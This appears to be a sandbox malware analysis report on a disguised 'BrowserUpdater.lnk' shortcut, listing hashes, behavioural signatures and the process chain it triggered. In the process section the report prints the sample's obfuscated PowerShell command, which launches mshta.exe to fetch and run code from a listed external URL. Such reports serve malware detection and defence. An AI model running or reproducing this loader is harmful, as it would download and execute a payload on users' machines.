Resubmissions
07/08/2024, 21:06
240807-zxvl6sxfkf 1006/08/2024, 20:12
240806-yzbfmssgqc 1006/08/2024, 19:51
240806-yk45eaydrn 10Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
07/08/2024, 21:06
Static task
static1
Behavioral task
behavioral1
Sample
BrowserUpdater.lnk
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
BrowserUpdater.lnk
Resource
win10v2004-20240802-en
General
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Target
BrowserUpdater.lnk
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Size
2KB
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MD5
7ed0b7e22f568d2eedaf956ba831d0a6
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SHA1
c073465e6ca109f2069f2e26f28525e66da54bee
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SHA256
7a6ad3868f0223896ceea378a056b2568ad6f6ca2e65baaa7b55e1033da3abd7
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SHA512
c718e67fb2554d7bbbac60a1a3dae6fe6bcdf4c06c0cababd8b623d52f1d306f9441c27deaaff269e129fb0dcecb17430480b1941b14d95a01d3ffd4c87887cd
Malware Config
Extracted
https://redr.me/g3boil/
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 5 2728 mshta.exe 7 2728 mshta.exe 9 2728 mshta.exe 11 2728 mshta.exe 13 2728 mshta.exe 15 2728 mshta.exe 17 2728 mshta.exe -
pid Process 3060 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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description ioc Process Key created \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3060 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3060 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2552 wrote to memory of 3060 2552 cmd.exe 31 PID 2552 wrote to memory of 3060 2552 cmd.exe 31 PID 2552 wrote to memory of 3060 2552 cmd.exe 31 PID 3060 wrote to memory of 2728 3060 powershell.exe 32 PID 3060 wrote to memory of 2728 3060 powershell.exe 32 PID 3060 wrote to memory of 2728 3060 powershell.exe 32
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\BrowserUpdater.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $C='.dmsi:aLSretpobg3hl/'; &(-join($C[(-612+615),(909-903),(148-141)])) :* (-join($C[(-612+615),(909-903),(148-141)])); :* %\ (-join($C[(410-408),(-612+615),(429-412),(-438+449),(909-903)])); foreach($p in @((371-354),(-821+832),(335-324),(-207+219),(-654+657),(740-735),(-129+148),(890-871),(222-213),(-354+364),(-800+801),(683-674),(550-550),(261-259),(462-452),(938-919),(-453+468),(-790+806),(-864+878),(749-736),(-625+629),(626-608),(-363+382))){$Y+=$C[$p]}; %\ $Y;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3060 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://redr.me/g3boil/3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:2728
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b